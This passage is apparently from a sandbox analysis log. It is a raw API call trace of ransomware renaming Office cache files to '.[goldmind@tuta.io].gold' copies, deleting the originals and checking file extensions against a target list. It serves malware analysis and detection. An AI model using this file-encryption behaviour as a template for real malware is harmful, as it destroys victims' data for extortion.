Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0042.799] GetLastError () returned 0x0 [0042.799] ReadFile (in: hFile=0x20c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x741, lpOverlapped=0x0) returned 1 [0042.852] WriteFile (in: hFile=0x188, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x750, lpOverlapped=0x0) returned 1 [0042.854] ReadFile (in: hFile=0x20c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.854] WriteFile (in: hFile=0x188, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0042.854] SetEndOfFile (hFile=0x188) returned 1 [0042.854] CloseHandle (hObject=0x188) returned 1 [0042.854] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.854] SetEndOfFile (hFile=0x20c) returned 1 [0042.855] CloseHandle (hObject=0x20c) returned 1 [0042.855] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.855] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0042.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.855] lstrlenW (lpString=".doc") returned 4 [0042.855] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0042.855] lstrlenW (lpString=".docx") returned 5 [0042.855] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0042.855] lstrlenW (lpString=".pdf") returned 4 [0042.855] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0042.855] lstrlenW (lpString=".xls") returned 4 [0042.855] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0042.855] lstrlenW (lpString=".xlsx") returned 5 [0042.855] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0042.855] lstrlenW (lpString=".ppt") returned 4 [0042.855] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0042.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.855] lstrlenW (lpString=".zip") returned 4 [0042.855] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0042.855] lstrlenW (lpString=".rar") returned 4 [0042.855] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0042.855] lstrlenW (lpString=".bz2") returned 4 [0042.856] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString=".7z") returned 3 [0042.856] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0042.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.856] lstrlenW (lpString=".dbf") returned 4 [0042.856] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.856] lstrlenW (lpString=".1cd") returned 4 [0042.856] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.856] lstrlenW (lpString=".jpg") returned 4 [0042.856] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.856] lstrlenW (lpString=".doc") returned 4 [0042.856] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString=".docx") returned 5 [0042.856] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0042.856] lstrlenW (lpString=".pdf") returned 4 [0042.856] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString=".xls") returned 4 [0042.856] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString=".xlsx") returned 5 [0042.856] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0042.856] lstrlenW (lpString=".ppt") returned 4 [0042.856] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.856] lstrlenW (lpString=".zip") returned 4 [0042.856] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString=".rar") returned 4 [0042.856] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString=".bz2") returned 4 [0042.856] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString=".7z") returned 3 [0042.856] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0042.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.856] lstrlenW (lpString=".dbf") returned 4 [0042.856] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.856] lstrlenW (lpString=".1cd") returned 4 [0042.856] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0042.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0042.856] lstrlenW (lpString=".jpg") returned 4 [0042.856] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0042.856] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0042.856] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0042.856] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.857] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=868864) returned 1 [0042.857] CloseHandle (hObject=0x20c) returned 1 [0042.857] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0042.857] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.857] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.857] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0042.857] GetLastError () returned 0x0 [0042.857] ReadFile (in: hFile=0x20c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0042.904] WriteFile (in: hFile=0x188, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0042.914] ReadFile (in: hFile=0x20c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.914] WriteFile (in: hFile=0x188, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0042.914] SetEndOfFile (hFile=0x188) returned 1 [0042.915] CloseHandle (hObject=0x188) returned 1 [0042.915] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.915] SetEndOfFile (hFile=0x20c) returned 1 [0042.920] CloseHandle (hObject=0x20c) returned 1 [0042.920] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.920] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0042.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.921] lstrlenW (lpString=".doc") returned 4 [0042.921] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.921] lstrlenW (lpString=".docx") returned 5 [0042.921] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0042.921] lstrlenW (lpString=".pdf") returned 4 [0042.921] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.921] lstrlenW (lpString=".xls") returned 4 [0042.921] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.921] lstrlenW (lpString=".xlsx") returned 5 [0042.921] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0042.921] lstrlenW (lpString=".ppt") returned 4 [0042.921] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.921] lstrlenW (lpString=".zip") returned 4 [0042.921] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.921] lstrlenW (lpString=".rar") returned 4 [0042.921] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.921] lstrlenW (lpString=".bz2") returned 4 [0042.921] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.921] lstrlenW (lpString=".7z") returned 3 [0042.921] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.921] lstrlenW (lpString=".dbf") returned 4 [0042.921] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.921] lstrlenW (lpString=".1cd") returned 4 [0042.921] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.921] lstrlenW (lpString=".jpg") returned 4 [0042.921] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.921] lstrlenW (lpString=".doc") returned 4 [0042.921] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.921] lstrlenW (lpString=".docx") returned 5 [0042.921] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0042.921] lstrlenW (lpString=".pdf") returned 4 [0042.921] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.921] lstrlenW (lpString=".xls") returned 4 [0042.921] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.921] lstrlenW (lpString=".xlsx") returned 5 [0042.921] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0042.921] lstrlenW (lpString=".ppt") returned 4 [0042.921] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.921] lstrlenW (lpString=".zip") returned 4 [0042.921] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.921] lstrlenW (lpString=".rar") returned 4 [0042.921] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.921] lstrlenW (lpString=".bz2") returned 4 [0042.921] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.921] lstrlenW (lpString=".7z") returned 3 [0042.921] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.922] lstrlenW (lpString=".dbf") returned 4 [0042.922] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.922] lstrlenW (lpString=".1cd") returned 4 [0042.922] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0042.922] lstrlenW (lpString=".jpg") returned 4 [0042.922] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.922] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0042.922] lstrlenW (lpString="osetupui.dll") returned 12 [0042.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.133] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=191872) returned 1 [0043.133] CloseHandle (hObject=0x19c) returned 1 [0043.133] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0043.134] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.134] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.156] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.156] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0043.157] GetLastError () returned 0x0 [0043.157] ReadFile (in: hFile=0x19c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0043.161] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0043.164] ReadFile (in: hFile=0x19c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.164] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.164] SetEndOfFile (hFile=0x204) returned 1 [0043.166] CloseHandle (hObject=0x204) returned 1 [0043.166] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.166] SetEndOfFile (hFile=0x19c) returned 1 [0043.168] CloseHandle (hObject=0x19c) returned 1 [0043.168] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.168] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0043.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.168] lstrlenW (lpString=".doc") returned 4 [0043.168] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.168] lstrlenW (lpString=".docx") returned 5 [0043.168] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0043.168] lstrlenW (lpString=".pdf") returned 4 [0043.168] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.168] lstrlenW (lpString=".xls") returned 4 [0043.168] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.168] lstrlenW (lpString=".xlsx") returned 5 [0043.168] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0043.168] lstrlenW (lpString=".ppt") returned 4 [0043.168] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.168] lstrlenW (lpString=".zip") returned 4 [0043.168] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.168] lstrlenW (lpString=".rar") returned 4 [0043.168] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.168] lstrlenW (lpString=".bz2") returned 4 [0043.168] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.168] lstrlenW (lpString=".7z") returned 3 [0043.168] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.168] lstrlenW (lpString=".dbf") returned 4 [0043.168] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.169] lstrlenW (lpString=".1cd") returned 4 [0043.169] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.169] lstrlenW (lpString=".jpg") returned 4 [0043.169] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.169] lstrlenW (lpString=".doc") returned 4 [0043.169] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.169] lstrlenW (lpString=".docx") returned 5 [0043.169] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0043.169] lstrlenW (lpString=".pdf") returned 4 [0043.169] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.169] lstrlenW (lpString=".xls") returned 4 [0043.169] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.169] lstrlenW (lpString=".xlsx") returned 5 [0043.169] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0043.169] lstrlenW (lpString=".ppt") returned 4 [0043.169] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.169] lstrlenW (lpString=".zip") returned 4 [0043.169] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.169] lstrlenW (lpString=".rar") returned 4 [0043.169] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.169] lstrlenW (lpString=".bz2") returned 4 [0043.169] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.169] lstrlenW (lpString=".7z") returned 3 [0043.169] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.169] lstrlenW (lpString=".dbf") returned 4 [0043.169] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.169] lstrlenW (lpString=".1cd") returned 4 [0043.169] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0043.169] lstrlenW (lpString=".jpg") returned 4 [0043.169] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.169] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0043.169] lstrlenW (lpString="Office32WW.msi") returned 14 [0043.169] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.170] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=1992192) returned 1 [0043.170] CloseHandle (hObject=0x19c) returned 1 [0043.170] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0043.170] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.170] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all 